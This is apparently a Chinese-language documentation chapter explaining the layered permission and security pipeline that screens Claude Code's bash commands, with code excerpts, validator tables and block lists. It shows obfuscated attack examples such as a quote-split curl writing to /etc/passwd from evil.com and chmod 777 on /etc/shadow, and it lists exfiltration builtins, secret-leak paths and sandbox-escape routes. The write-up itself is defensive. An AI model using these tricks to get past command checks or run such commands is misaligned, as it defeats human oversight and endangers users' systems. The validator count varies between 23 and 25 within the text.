跳转到内容

Bash 27 层安全机制

BashTool 是 Claude Code 中安全性最关键的组件。它是唯一能够执行任意系统命令的 tool,因此也是主要攻击面。为了抵御 prompt injection、命令注入和权限提升,Claude Code 实现了一套多层安全管道,每条 bash 命令在执行前都必须通过这套管道。

本章记录完整的决策树——从初始 AST 解析,经过 27 个独立安全验证器,直到最终的 permission 决策。

bash 安全系统分布在以下几个文件中:

文件行数用途
src/tools/BashTool/bashPermissions.ts~2600主 permission 管道、规则匹配、子命令拆分
src/tools/BashTool/bashSecurity.ts~2500用于命令注入检测的 23 个安全验证器
src/tools/BashTool/pathValidation.ts~1300路径约束检查、工作目录强制执行
src/tools/BashTool/modeValidation.ts~115Mode 特定命令白名单(acceptEdits 命令)
src/tools/BashTool/sedValidation.ts在 mode 自动放行前阻断危险 sed 操作
src/tools/BashTool/bashCommandHelpers.ts~300Pipe 和操作符的 permission 处理
src/utils/bash/ast.ts~2500Tree-sitter AST 解析和语义检查
src/utils/permissions/bashClassifier.ts基于 AI 的命令分类(prompt 规则)

bashToolHasPermission() 被调用时,命令将依次经过以下各层:

flowchart TD
    Entry["bashToolHasPermission(command)"] --> L0

    subgraph "Phase 0: AST Parse"
        L0["Layer 0: Tree-sitter AST parse"]
        L0 -->|simple| Semantics["Layer 1: checkSemantics"]
        L0 -->|too-complex| TooComplex["Layer 2: Too-complex handling"]
        L0 -->|unavailable| Legacy["Layer 3: Legacy shell-quote parse"]
    end

    Semantics -->|fail| SemanticDeny["Check deny rules → ASK"]
    Semantics -->|pass| SandboxCheck
    TooComplex --> EarlyDeny["Check deny rules → ASK"]
    Legacy -->|fail| ParseAsk["ASK: malformed syntax"]
    Legacy -->|pass| SandboxCheck

    subgraph "Phase 1: Fast Paths"
        SandboxCheck{"Layer 4: Sandbox<br/>auto-allow?"}
        SandboxCheck -->|yes + no deny| SandboxAllow["ALLOW (sandboxed)"]
        SandboxCheck -->|no| ExactMatch

        ExactMatch["Layer 5: Exact match<br/>deny/ask/allow rules"]
        ExactMatch -->|deny| Deny1["DENY"]
        ExactMatch -->|ask/allow| ClassifierCheck
    end

    subgraph "Phase 2: Classifier Rules"
        ClassifierCheck["Layer 6: Classifier deny rules"]
        ClassifierCheck -->|deny match| ClassDeny["DENY"]
        ClassifierCheck -->|no match| AskClassifier

        AskClassifier["Layer 7: Classifier ask rules"]
        AskClassifier -->|ask match| ClassAsk["ASK"]
        AskClassifier -->|no match| OperatorCheck
    end

    subgraph "Phase 3: Structural Analysis"
        OperatorCheck["Layer 8: Pipe/operator<br/>decomposition"]
        OperatorCheck -->|pipes found| PipeProcess["Process each segment"]
        OperatorCheck -->|no pipes| MisparseGate

        MisparseGate["Layer 9: Legacy<br/>misparsing gate"]
        MisparseGate -->|unsafe patterns| AskMisparse["ASK"]
        MisparseGate -->|safe| SubcommandSplit
    end

    SubcommandSplit["Layer 10: Subcommand split"] --> CdCheck

    subgraph "Phase 4: Per-Subcommand Checks"
        CdCheck["Layer 11: Multiple cd check"]
        CdCheck -->|multiple cd| AskCd["ASK"]
        CdCheck -->|ok| CdGitCheck

        CdGitCheck["Layer 12: cd + git<br/>bare repo guard"]
        CdGitCheck -->|cd && git| AskCdGit["ASK"]
        CdGitCheck -->|ok| SubPermChecks

        SubPermChecks["Layer 13-22: Per-subcommand<br/>permission pipeline"] --> FinalDecision
    end

    subgraph "Phase 5: Aggregation"
        FinalDecision{"All subcommands<br/>allowed?"}
        FinalDecision -->|all allow + no injection| AllowFinal["ALLOW"]
        FinalDecision -->|any deny| DenyFinal["DENY"]
        FinalDecision -->|any ask/passthrough| AskFinal["ASK + suggestions"]
    end

bashToolHasPermission 首先尝试用 tree-sitter 解析命令:

// src/tools/BashTool/bashPermissions.ts (line ~1688)
let astRoot = injectionCheckDisabled
? null
: await parseCommandRaw(input.command)
let astResult: ParseForSecurityResult = astRoot
? parseForSecurityFromAst(input.command, astRoot)
: { kind: 'parse-unavailable' }

解析返回以下三种结果之一:

结果含义下一步
simple解析干净——包含已解析引号、无隐藏替换的 SimpleCommand[] 数组进入语义检查
too-complex解析成功但发现危险结构(命令替换、参数展开、控制流)跳过并要求确认,但仍遵守 deny rule
parse-unavailableTree-sitter WASM 未加载或 feature 未开启回退至 legacy shell-quote 路径

Layer 1:语义检查(checkSemantics

Section titled “Layer 1:语义检查(checkSemantics)”

simple 结果,ast.ts 中的 checkSemantics 在语义层面验证命令:

// src/utils/bash/ast.ts (line ~2213)
export function checkSemantics(commands: SimpleCommand[]): SemanticCheckResult {
for (const cmd of commands) {
// 剥离安全包装器(nohup、time、timeout、nice)
let a = cmd.argv
// ... wrapper stripping ...
const name = a[0]
// 阻断 eval、exec 及其等价命令
if (EVAL_COMMANDS.has(name)) return { ok: false, reason: ... }
// 阻断 Zsh 危险内置命令
if (ZSH_DANGEROUS.has(name)) return { ok: false, reason: ... }
// 阻断 jq system() 函数调用
if (name === 'jq' && hasSystemFunction(a)) return { ok: false, reason: ... }
// 检查包含换行符的 argv 元素(解析器差异)
// 检查 /proc/environ 访问
}
return { ok: true }
}

能捕获的内容:

  • evalexecsource.(eval 等价命令)
  • zmodloademulate -csysopenztcp 等(Zsh 危险内置命令)
  • system() 调用或文件参数的 jq
  • 包含字面换行符的 argv 元素(解析器差异风险)
  • /proc/*/environ 访问(环境变量泄露)

当 tree-sitter 检测到无法静态验证的结构(命令替换、参数展开、控制流关键字、解析器差异)时,返回 too-complex

// src/tools/BashTool/bashPermissions.ts (line ~1741)
if (astResult.kind === 'too-complex') {
const earlyExit = checkEarlyExitDeny(input, appState.toolPermissionContext)
if (earlyExit !== null) return earlyExit
return { behavior: 'ask', reason: astResult.reason, suggestions: [] }
}

too-complex 路径仍会遵守 deny rule——含 $() 替换且匹配 Bash(eval:*) deny rule 的命令会被拒绝,而不仅仅是询问。

当 tree-sitter 不可用时,系统回退至 shell-quote 库:

// src/tools/BashTool/bashPermissions.ts (line ~1815)
const parseResult = tryParseShellCommand(input.command)
if (!parseResult.success) {
return { behavior: 'ask', reason: `Malformed syntax: ${parseResult.error}` }
}

autoAllowBashIfSandboxed 启用了 sandbox 时,将在 sandbox 中运行的命令会自动放行——除非存在显式 deny/ask rule:

// src/tools/BashTool/bashPermissions.ts (line ~1270)
function checkSandboxAutoAllow(input, toolPermissionContext): PermissionResult {
// 对完整命令检查 deny/ask
const { matchingDenyRules, matchingAskRules } = matchingRulesForInput(...)
if (matchingDenyRules[0]) return { behavior: 'deny', ... }
// 安全性:对每个子命令检查 deny/ask rule
const subcommands = splitCommand(command)
if (subcommands.length > 1) {
for (const sub of subcommands) {
const subResult = matchingRulesForInput({ command: sub }, ...)
if (subResult.matchingDenyRules[0]) return { behavior: 'deny', ... }
}
}
return { behavior: 'allow', reason: 'Auto-allowed with sandbox' }
}

在进行更深层分析之前,先对命令检查精确匹配规则:

// src/tools/BashTool/bashPermissions.ts (line ~991)
export const bashToolCheckExactMatchPermission = (input, context) => {
const { matchingDenyRules, matchingAskRules, matchingAllowRules } =
matchingRulesForInput(input, context, 'exact')
// 优先级:deny > ask > allow
if (matchingDenyRules[0]) return { behavior: 'deny', ... }
if (matchingAskRules[0]) return { behavior: 'ask', ... }
if (matchingAllowRules[0]) return { behavior: 'allow', ... }
return { behavior: 'passthrough', ... }
}

阶段 2:分类器规则(Layer 6–7)

Section titled “阶段 2:分类器规则(Layer 6–7)”

当 bash classifier feature 启用时,自然语言 deny 描述将被评估:

// src/tools/BashTool/bashPermissions.ts (line ~1866)
const denyDescriptions = getBashPromptDenyDescriptions(context)
const [denyResult, askResult] = await Promise.all([
hasDeny ? classifyBashCommand(input.command, cwd, denyDescriptions, 'deny', ...) : null,
hasAsk ? classifyBashCommand(input.command, cwd, askDescriptions, 'ask', ...) : null,
])
if (denyResult?.matches && denyResult.confidence === 'high') {
return { behavior: 'deny', message: `Denied by Bash prompt rule: "${denyResult.matchedDescription}"` }
}

若 deny rule 未匹配,则检查 ask rule。高置信度匹配触发含已匹配描述的 permission prompt:

if (askResult?.matches && askResult.confidence === 'high') {
return { behavior: 'ask', reason: `Required by Bash prompt rule: "${askResult.matchedDescription}"` }
}

含 pipe(|)、重定向和其他操作符的命令由 checkCommandOperatorPermissions 分解:

src/tools/BashTool/bashCommandHelpers.ts
async function segmentedCommandPermissionResult(input, segments, ...) {
// 检查各 segment 中的多个 cd 命令
// 检查 pipe segment 中的 cd+git(裸仓库攻击)
// 通过完整 permission 系统处理每个 segment
// 若任意 segment 被拒绝则拒绝
// 仅当所有 segment 都被允许时才放行
}

安全关键点:当 pipe segment 全部返回 allow 时,原始命令仍会被检查:

  1. 输出重定向的路径约束(这些内容已从 segment 中剥离)
  2. 重定向目标中的危险 pattern(反引号、$()

当 tree-sitter 不可用时,legacy 安全检查会检测 splitCommand_DEPRECATED 可能误解析的 pattern:

// src/tools/BashTool/bashPermissions.ts (line ~2089)
const originalCommandSafetyResult = await bashCommandIsSafeAsync(input.command)
if (originalCommandSafetyResult.behavior === 'ask' &&
originalCommandSafetyResult.isBashSecurityCheckForMisparsing) {
// 尝试剥离安全的 heredoc 替换后重新检查
const remainder = stripSafeHeredocSubstitutions(input.command)
// ...
}

阶段 4:单子命令检查(Layer 10–22)

Section titled “阶段 4:单子命令检查(Layer 10–22)”

命令被拆分为独立子命令,优先使用 tree-sitter 结果:

const rawSubcommands = astSubcommands ?? splitCommand(input.command)
// 过滤掉 `cd ${cwd}` 前缀子命令
const { subcommands, astCommandsByIdx } = filterCdCwdSubcommands(...)

子命令上限防止 DoS:

export const MAX_SUBCOMMANDS_FOR_SECURITY_CHECK = 50
// 超出上限 → 回退至 'ask'
const cdCommands = subcommands.filter(cmd => isNormalizedCdCommand(cmd))
if (cdCommands.length > 1) {
return { behavior: 'ask', reason: 'Multiple directory changes require approval' }
}

同时含 cdgit 的复合命令始终被标记。这可防止通过带有 core.fsmonitor 的裸 git 仓库逃逸 sandbox:

// src/tools/BashTool/bashPermissions.ts (line ~2209)
if (compoundCommandHasCd) {
const hasGitCommand = subcommands.some(cmd => isNormalizedGitCommand(cmd.trim()))
if (hasGitCommand) {
return { behavior: 'ask', reason: 'cd + git require approval to prevent bare repository attacks' }
}
}

isNormalizedGitCommandisNormalizedCdCommand 在检查前会标准化安全包装器和 shell 引号:

export function isNormalizedGitCommand(command: string): boolean {
if (command.startsWith('git ') || command === 'git') return true
const stripped = stripSafeWrappers(command)
const parsed = tryParseShellCommand(stripped)
if (parsed.success && parsed.tokens.length > 0) {
if (parsed.tokens[0] === 'git') return true
if (parsed.tokens[0] === 'xargs' && parsed.tokens.includes('git')) return true
}
return /^git(?:\s|$)/.test(stripped)
}

Layer 13–22:单子命令 Permission 管道(bashToolCheckPermission

Section titled “Layer 13–22:单子命令 Permission 管道(bashToolCheckPermission)”

每个子命令都经过自己的管道:

// src/tools/BashTool/bashPermissions.ts (line ~1050)
export const bashToolCheckPermission = (input, context, compoundCommandHasCd, astCommand) => {
// 1. 先精确匹配
// 2. 前缀/通配符 deny rule → DENY
// 3. 前缀/通配符 ask rule → ASK
// 4. 路径约束(checkPathConstraints)
// 5. 精确匹配 allow
// 6. 前缀/通配符 allow rule → ALLOW
// 5b. Sed 约束(在 mode 自动放行前阻断危险 sed)
// 7. Mode 特定处理(acceptEdits 白名单)
// 8. 只读检查(BashTool.isReadOnly)
// 9. Passthrough → 触发 permission prompt
}

23 个安全验证器(bashSecurity.ts)

Section titled “23 个安全验证器(bashSecurity.ts)”

bashCommandIsSafe_DEPRECATED 函数按顺序运行 23 个验证器。每个验证器返回 allow(提前退出)、ask(标记审查)或 passthrough(继续下一个验证器):

#验证器Check ID捕获内容
1validateControlCharacters17空字节、会混淆后续验证器的不可打印字符
2validateShellQuoteSingleQuoteBugshell-quote 库的单引号反斜杠 bug
3validateEmpty空命令(自动放行)
4validateSafeCommandSubstitution安全 heredoc pattern $(cat <<'EOF'...EOF)(提前放行)
5validateIncompleteCommands1以 tab、flag 或操作符开头的片段
6validateGitCommit12无替换的 git commit 命令(提前放行)
7validateJqCommand2, 3system() 调用或文件写入参数的 jq
8validateObfuscatedFlags4通过 shell 引号绕过 flag 检测(cu""rlch''mod
9validateShellMetacharacters5参数中未引用的 ;|&
10validateDangerousVariables6未引用位置中的 $IFS$PATH$LD_PRELOAD
11validateNewlines7反斜杠转义换行符(\\\n)隐藏命令续行
12validateCarriageReturn\r 字符(终端 UI 欺骗)
13validateDangerousPatterns8$()${}$[]、进程替换、Zsh 展开、反引号
14validateRedirections9, 10输入(<)和输出(>>>)重定向
15validateIFSInjection11$IFS${...IFS...} pattern(字段分割攻击)
16validateProcEnvironAccess13/proc/*/environ/proc/self/environ(密钥泄露)
17validateMalformedTokenInjection14解析结果与表面不符的 token
18validateBackslashEscapedWhitespace15\ (空格)和 \ (tab)隐藏操作符边界
19validateBackslashEscapedOperators21\;|\&——看起来像操作符但在某些上下文中是字面字符
20validateBraceExpansion16{a,b} 大括号展开(命令名操控)
21validateUnicodeWhitespace18非 ASCII 空白字符(U+00A0 等)隐藏内容
22validateMidWordHash19词中位置的 #(shell-quote/bash 解析器差异)
23validateCommentQuoteDesync22注释中的引号字符导致引号追踪失同步
24validateQuotedNewline23引号内含 # 的换行符导致注释注入
25validateZshDangerousCommands20zmodloademulatesysopenztcp

第一个验证器阻断控制字符,因为它们会混淆后续所有基于正则表达式的检查:

// src/tools/BashTool/bashSecurity.ts (line ~2260)
export function bashCommandIsSafe_DEPRECATED(command: string): PermissionResult {
// 安全性:在任何其他处理前阻断控制字符
if (CONTROL_CHAR_RE.test(command)) {
return { behavior: 'ask', message: 'Command contains control characters' }
}
// ...
}

攻击者可以通过跨引号分割 flag 字符串来绕过 flag 检测:

Terminal window
# 这些都运行 `curl`,但引号分割向正则表达式隐藏了 flag
cu""rl -o /etc/passwd http://evil.com
ch''mod 777 /etc/shadow
function validateObfuscatedFlags(context: ValidationContext): PermissionResult {
const { originalCommand, baseCommand } = context
// echo 对混淆 flag 是安全的,但仅限简单 echo 命令
// 如果 echo 含重定向则不安全(echo "payload" > file)
// ...
}

验证器 13:危险 Pattern(命令替换)

Section titled “验证器 13:危险 Pattern(命令替换)”

这是覆盖范围最广的验证器,检查多种展开类型:

const COMMAND_SUBSTITUTION_PATTERNS = [
{ pattern: /<\(/, message: 'process substitution <()' },
{ pattern: />\(/, message: 'process substitution >()' },
{ pattern: /=\(/, message: 'Zsh process substitution =()' },
{ pattern: /(?:^|[\s;&|])=[a-zA-Z_]/, message: 'Zsh equals expansion (=cmd)' },
{ pattern: /\$\(/, message: '$() command substitution' },
{ pattern: /\$\{/, message: '${} parameter substitution' },
{ pattern: /\$\[/, message: '$[] legacy arithmetic expansion' },
{ pattern: /~\[/, message: 'Zsh-style parameter expansion' },
{ pattern: /\(e:/, message: 'Zsh-style glob qualifiers' },
{ pattern: /\(\+/, message: 'Zsh glob qualifier with command execution' },
{ pattern: /\}\s*always\s*\{/, message: 'Zsh always block (try/always)' },
{ pattern: /<#/, message: 'PowerShell comment syntax' },
]

专门针对 Zsh 特定攻击向量的检查:

const ZSH_DANGEROUS_COMMANDS = new Set([
'zmodload', // 危险模块的入口
'emulate', // 带 -c flag 的 eval 等价命令
'sysopen', // 细粒度文件控制(zsh/system)
'sysread', // 文件描述符读取(zsh/system)
'syswrite', // 文件描述符写入(zsh/system)
'zpty', // 伪终端命令执行(zsh/zpty)
'ztcp', // 用于泄露数据的 TCP 连接(zsh/net/tcp)
'zsocket', // Unix/TCP socket(zsh/net/socket)
'zf_rm', // zsh/files 的内置 rm
'zf_mv', // zsh/files 的内置 mv
// ... 更多 zsh 内置命令
])

在规则匹配之前,安全包装器命令会被剥离,使得 timeout 10 npm install 能够匹配 Bash(npm install:*) rule:

// src/tools/BashTool/bashPermissions.ts (line ~524)
export function stripSafeWrappers(command: string): string {
const SAFE_WRAPPER_PATTERNS = [
/^timeout[ \t]+(?:...)[ \t]+\d+(?:\.\d+)?[smhd]?[ \t]+/,
/^time[ \t]+(?:--[ \t]+)?/,
/^nice(?:[ \t]+-n[ \t]+-?\d+|[ \t]+-\d+)?[ \t]+(?:--[ \t]+)?/,
/^stdbuf(?:[ \t]+-[ioe][LN0-9]+)+[ \t]+(?:--[ \t]+)?/,
/^nohup[ \t]+(?:--[ \t]+)?/,
]
// 同时剥离安全环境变量:NODE_ENV、RUST_LOG、LANG 等
// 阶段 1:剥离环境变量 + 注释
// 阶段 2:剥离包装器命令 + 注释(不包含环境变量)
}

关键安全细节:两阶段剥离是有意为之的。在 nohup 等包装器之后,环境变量被视为要执行的命令,而非赋值。在阶段 2 剥离环境变量会导致不匹配(HackerOne #3543050)。

只有经过精心筛选的环境变量白名单才会被剥离:

const SAFE_ENV_VARS = new Set([
// 永远不要添加:PATH、LD_PRELOAD、LD_LIBRARY_PATH、DYLD_*
// 永远不要添加:PYTHONPATH、NODE_PATH、CLASSPATH、RUBYLIB
// 永远不要添加:GOFLAGS、RUSTFLAGS、NODE_OPTIONS
// 永远不要添加:HOME、TMPDIR、SHELL、BASH_ENV
'GOEXPERIMENT', 'GOOS', 'GOARCH', 'CGO_ENABLED', 'GO111MODULE',
'RUST_BACKTRACE', 'RUST_LOG',
'NODE_ENV',
'PYTHONUNBUFFERED', 'PYTHONDONTWRITEBYTECODE',
'LANG', 'LC_ALL', 'TERM', 'NO_COLOR', 'FORCE_COLOR', 'TZ',
// ... 更多安全变量
])

一个微妙但关键的设计选择:deny rule 剥离所有环境变量,而 allow rule 仅剥离安全环境变量

// Deny/ask rule:激进剥离(无法用 FOO=bar 绕过 deny)
const matchingDenyRules = filterRulesByContentsMatchingInput(
input, denyRuleByContents, matchMode,
{ stripAllEnvVars: true, skipCompoundCheck: true },
)
// Allow rule:保守剥离(DOCKER_HOST=evil docker ps 不会匹配)
const matchingAllowRules = filterRulesByContentsMatchingInput(
input, allowRuleByContents, matchMode,
{ skipCompoundCheck: false }, // stripAllEnvVars 默认为 false
)

stripAllLeadingEnvVars 函数使用不动点迭代处理 nohup FOO=bar timeout 5 denied_command 等交替 pattern。

checkPathConstraints 函数确保命令不会操作项目目录以外的文件:

关键检查:

  1. 输出重定向>>> 到工作目录外的路径会被标记
  2. 敏感路径.git/.claude/.vscode/、shell 配置文件(.bashrc.zshrc)触发安全检查
  3. cd + 重定向防护:含 cd 和文件修改的复合命令会被特殊处理
  4. AST 感知:当 tree-sitter 数据可用时,从 AST 中提取重定向而非重新解析

进入 auto mode 时,系统会主动移除会绕过分类器的过宽 allow rule:

src/utils/permissions/permissionSetup.ts
export function isDangerousBashPermission(toolName: string, ruleContent?: string): boolean {
if (ruleContent === undefined || ruleContent === '') return true // Bash(*) = 全部允许
if (content === '*') return true
for (const pattern of DANGEROUS_BASH_PATTERNS) {
if (content === `${lowerPattern}:*`) return true // python:*
if (content === `${lowerPattern}*`) return true // python*
if (content === `${lowerPattern} *`) return true // python *
}
return false
}

危险 pattern 列表:

src/utils/permissions/dangerousPatterns.ts
export const DANGEROUS_BASH_PATTERNS: readonly string[] = [
// 解释器
'python', 'python3', 'python2', 'node', 'deno', 'tsx', 'ruby', 'perl', 'php', 'lua',
// 包运行器
'npx', 'bunx', 'npm run', 'yarn run', 'pnpm run', 'bun run',
// Shell
'bash', 'sh', 'zsh', 'fish',
// Eval 等价命令
'eval', 'exec', 'env', 'xargs', 'sudo',
// 远程执行
'ssh',
]

系统防止建议过于宽泛的前缀规则:

const BARE_SHELL_PREFIXES = new Set([
'sh', 'bash', 'zsh', 'fish', 'csh', 'tcsh', 'ksh', 'dash',
'cmd', 'powershell', 'pwsh',
'env', 'xargs', // 执行其参数的包装器
'nice', 'stdbuf', 'nohup', 'timeout', 'time', // 安全包装器(被语义检查剥离)
'sudo', 'doas', 'pkexec', // 权限提升
])

以下是 bash 命令经过的所有安全层的完整有序列表:

Layer位置检查内容失败时
0bashPermissions.tsTree-sitter AST 解析回退至 legacy
1ast.tscheckSemantics——eval、zsh 内置命令、jq system()ASK
2bashPermissions.tsToo-complex AST 结果处理ASK
3bashPermissions.tsLegacy tryParseShellCommandASK
4bashPermissions.tsSandbox 自动放行(遵守 deny/ask rule)继续
5bashPermissions.ts精确匹配 deny/ask/allow ruleDENY/ASK/ALLOW
6bashPermissions.ts分类器 deny 描述DENY
7bashPermissions.ts分类器 ask 描述ASK
8bashCommandHelpers.tsPipe/操作符分解对每个 segment 递归
9bashPermissions.tsLegacy 误解析防护门(bashCommandIsSafeASK
10bashPermissions.ts子命令拆分 + 上限(最多 50 条)ASK
11bashPermissions.ts多个 cd 检查ASK
12bashPermissions.tscd + git 裸仓库防护ASK
13bashPermissions.ts单子命令精确匹配规则DENY/ASK/ALLOW
14bashPermissions.ts单子命令前缀/通配符 deny ruleDENY
15bashPermissions.ts单子命令前缀/通配符 ask ruleASK
16pathValidation.ts路径约束(项目外、敏感文件)ASK
17bashPermissions.ts单子命令前缀/通配符 allow ruleALLOW
18sedValidation.ts危险 sed 操作ASK
19modeValidation.tsMode 特定命令白名单(acceptEditsALLOW/passthrough
20bashPermissions.ts只读命令检查(BashTool.isReadOnlyALLOW
21bashSecurity.ts25 个安全验证器(注入、替换等)ASK
22bashPermissions.ts子命令结果聚合DENY/ALLOW/ASK
23bashPermissions.ts原始命令路径约束(重定向目标)DENY/ASK
24bashPermissions.ts挂起的分类器检查附加
25permissions.tsMode 后处理(dontAsk → deny,auto → 分类器)DENY/ALLOW
26permissions.tsHeadless agent 处理(hook → 自动拒绝)DENY
27permissions.ts拒绝追踪(连续拒绝限制)ASK 回退

一个关键安全不变量:前缀/通配符 rule 不匹配复合命令。否则 Bash(cd:*) 会匹配 cd /tmp && python3 evil.py

// filterRulesByContentsMatchingInput (line ~891)
case 'prefix': {
if (isCompoundCommand.get(cmdToMatch)) {
return false // 安全性:不允许前缀 rule 匹配复合命令
}
return cmdToMatch.startsWith(bashRule.prefix + ' ')
}

xargs 获得特殊处理,因为它实际上在当前目录执行命令:

// 同时匹配没有 flag 的裸 "xargs <prefix>"
const xargsPrefix = 'xargs ' + bashRule.prefix
if (cmdToMatch === xargsPrefix) return true
return cmdToMatch.startsWith(xargsPrefix + ' ')

这意味着 Bash(grep:*) deny 同样阻断 xargs grep patternBash(rm:*) deny 阻断 xargs rm file

系统可以在影子模式下运行 tree-sitter,记录与 legacy 解析器的差异,但不将 AST 用于决策:

if (feature('TREE_SITTER_BASH_SHADOW')) {
// 记录两种解析器的判定结果
logEvent('tengu_tree_sitter_shadow', { available, astTooComplex, subsDiffer, ... })
// 始终强制走 legacy 路径——影子模式仅用于观测
astResult = { kind: 'parse-unavailable' }
}

这让团队能在将 tree-sitter 用于安全决策前验证其正确性。

isSafeHeredoc 函数允许满足严格条件的 $(cat <<'EOF'...EOF) pattern 通过 $() 验证器:

  • 分隔符必须是单引号或已转义(正文中无展开)
  • 结束分隔符必须独占一行
  • $() 必须在参数位置,而非命令位置
  • 剥离 heredoc 后的剩余文本必须通过所有验证器
  • 无嵌套 heredoc 匹配(防止索引污染攻击)

安全管道是热代码路径——每次 bash 调用都会运行:

  • 子命令上限:最多 50 条子命令,防止指数级膨胀
  • 复合规则建议上限:每条复合命令最多建议 5 条规则
  • 批量遥测:差异事件聚合而非逐子命令上报
  • 惰性解析:tree-sitter 仅在 feature flag 开启时调用
  • 预测性分类器检查:提前启动以与 permission 对话框并行运行
export const MAX_SUBCOMMANDS_FOR_SECURITY_CHECK = 50
export const MAX_SUGGESTED_RULES_FOR_COMPOUND = 5

bash 安全系统遵循以下几个核心原则:

  1. 默认关闭:未知 pattern 标记审查,从不自动放行
  2. 纵深防御:多个独立验证器覆盖重叠的威胁类别
  3. deny rule 至上:deny rule 不能被任何 mode、包装器或环境变量前缀绕过
  4. AST 优先,正则回退:tree-sitter 提供结构正确性;正则捕获边缘情况
  5. 不对称剥离:allow rule 保守(仅安全环境变量);deny rule 激进(剥除一切)
  6. 无静默失败:每个决策都携带 decisionReason,用于调试和遥测